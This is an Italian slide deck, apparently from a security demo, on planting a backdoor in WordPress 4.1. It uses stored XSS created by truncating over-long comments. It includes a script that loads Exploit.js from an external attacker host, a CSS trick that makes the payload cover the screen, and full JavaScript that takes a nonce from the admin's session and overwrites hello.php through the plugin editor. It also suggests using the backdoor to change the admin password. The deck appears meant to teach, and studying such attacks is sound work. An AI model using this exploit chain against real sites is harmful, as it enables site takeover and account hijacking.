1. Hacking in Action - 1
Introduzione di una backdoor
in un blogWordPress 4.1
2. VULNERABILIT in WordPress 4.1
La versione 4.1 di WordPress contiene
una grave vulnerabilit di tipo Storage XSS
XSS: Cross Site Scripting
Esecuzione di uno script (per es. Javascript) sul
computer del visitatore per il tramite di un sito
pulito
Stored XSS
Lo script maligno viene in qualche modo
incorporato nel sito stesso
3. VULNERABILIT in WordPress 4.1
La dimensione massima di un commento a un post 竪
pari a 64kB
Se un commento 竪 pi湛 lungo, viene troncato prima di
essere memorizzato nel database
Se il commento 竪 scritto in HTML, loperazione di
troncamento porta alla creazione di una stringa
HTML non corretta.
possibile in questo modo far s狸 che ad ogni
visualizzazione del commento venga eseguito dal
client uno script maligno.
5. VULNERABILIT in WordPress 4.1
Lo script risultante
var a.document.createElement(script);
a.setAttribute(src,
http://sitomaligno.altervista.org/Exploit.js);
document.head.appendChild(a)
Viene aggiunto nella sezione head della pagina
Wordpress un riferimento
sitomaligno.altervista.org
Exploit.js
6. VULNERABILIT in WordPress 4.1
Quando viene eseguito lo script?
Quando il mouse ci finisce sopra.
Sembra un po difficile
Rendiamo il link un po pi湛 grosso
position:absolute;
left:0;
top:0;
width:5000px;
height:5000px
Occupa tutto lo schermo!
7. Vediamola in azione
Usiamo uno script semplice e innocuo:
window.alert(Eccomi);
Guarda su YouTube
Quando lo script viene eseguito
dallamministratore del blog, possiede
tutti i privilegi di accesso ai file e di
esecuzione delle operazioni
amministrative!
8. Inserimento di una backdoor
Proviamo una cosa meno innocua
Carichiamo un file sul server che gestisce il blog
Ogni installazione di WordPress contiene un
file di prova
hello.php
Contiene semplicemente il testo della canzone
Hello Dolly
Sostanzialmente 竪 un plugin dimostrativo
Sostituiamo questo file con uno script
prodotto da noi e potenzialmente maligno
<?php echo 'Il sito maligno ha colpito!'; ?>
Potremo eseguire questo script da remoto!
9. Inserimento di una backdoor
Come facciamo?
Modifichiamo il file Exploit.js
Mandiamo una richiesta POST alleditor dei plugin di
WordPress, ordinandogli di aggiornare il file hello.php
In pratica lo sostituiamo con il nostro script maligno
Diventa la nostra backdoor
Problema
Wordpress genera un codice, detto NONCE, inserito in
ogni form del blog
Il server web convalida solo le richieste POST che
contengono un NONCE valido
In linea di massima ad ogni richiesta di pagina viene
generato un NONCE diverso
10. Inserimento di una backdoor
Come otteniamo un NONCE valido per la nostra
richiesta POST?
Inviamo al blog una richiesta GET di visualizzazione
del file hello.php
La risposta alla richiesta GET conterr un form per la modifica
del file stesso
Questo form conterr un NONCE valido
Il NONCE valido verr inserito in una richiesta
POST per laggiornamento del file hello.php
Wordpress riconoscer il NONCE appena generato e
autorizzer laggiornamento del file
Tutto questo si svolge quando lamministratore
visualizza il nostro commento maligno
11. Inserimento di una backdoor
Ecco lo script - Parte 1
// Funzione che effettua una richiesta GET HTTPS
function httpGet(theUrl)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( null );
return xmlHttp.responseText;
}
// Funzione che effettua una richiesta POST HTTPS
function httpPost(theUrl,theParameters)
{
var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "POST", theUrl, false );
xmlHttp.setRequestHeader("HTTPS","1");
xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlHttp.send( theParameters );
return xmlHttp.responseText;
}
12. Inserimento di una backdoor
Ecco lo script - Parte 2
// Richiesta del file hello.php (sempre presente nelle
installazioni WordPress)
var hello = httpGet("http://wordpress.promomaremma.net/wp-
admin/plugin-editor.php?file=hello.php&plugin=hello.php");
// Ricerca di un nonce valido
var nonce_pos =
hello.indexOf(unescape("name%3D%22%5Fwpnonce%22%20value%3D%22
"));
var nonce = hello.substr(nonce_pos+23,10);
// Costruzione dei parametri della richiesta POST con il nonce
appena ottenuto
// Costruzione dei parametri della richiesta POST con il nonce
appena ottenuto
var parameters = "_wpnonce=" + nonce + "&_wp_http_referer=" +
escape("/wp-admin/plugin-editor.php") + "&newcontent= " +
escape("<?php echo 'Il sito maligno ha colpito!'; ?>") +
"&action=update&file=hello.php&plugin=hello.php&scrollto=0&do
c-list=&submit=Aggiorna+file";
// Modifica del file hello.php con il contenuto maligno
httpPost("http://wordpress.promomaremma.net/wp-admin/plugin-
editor.php",parameters);
13. Vediamola in azione
Notare come tutto venga eseguito
dallamministratore a sua insaputo
Diversamente non funzionerebbe
Guarda su YouTube
Questa falla di sicurezza 竪 stata scoperta nella
versione 3.9.3 di Wordpress
stata corretta a partire dalla versione 4.2.1
In realt le versioni superiori alle 4.1.2 non sono risultate
vulnerabili, ma la 4.2 s狸.
Per il nostro test abbiamo utilizzato la versione 4.1
14. Ulteriori sviluppi
La backdoor pu嘆 essere eseguita sul
momento
Si esegue subito una GET sul file hello.php
appena modificato
In questo modo si pu嘆 operare sul blog
come si vuole
Per esempio cambiando la password di
amministratore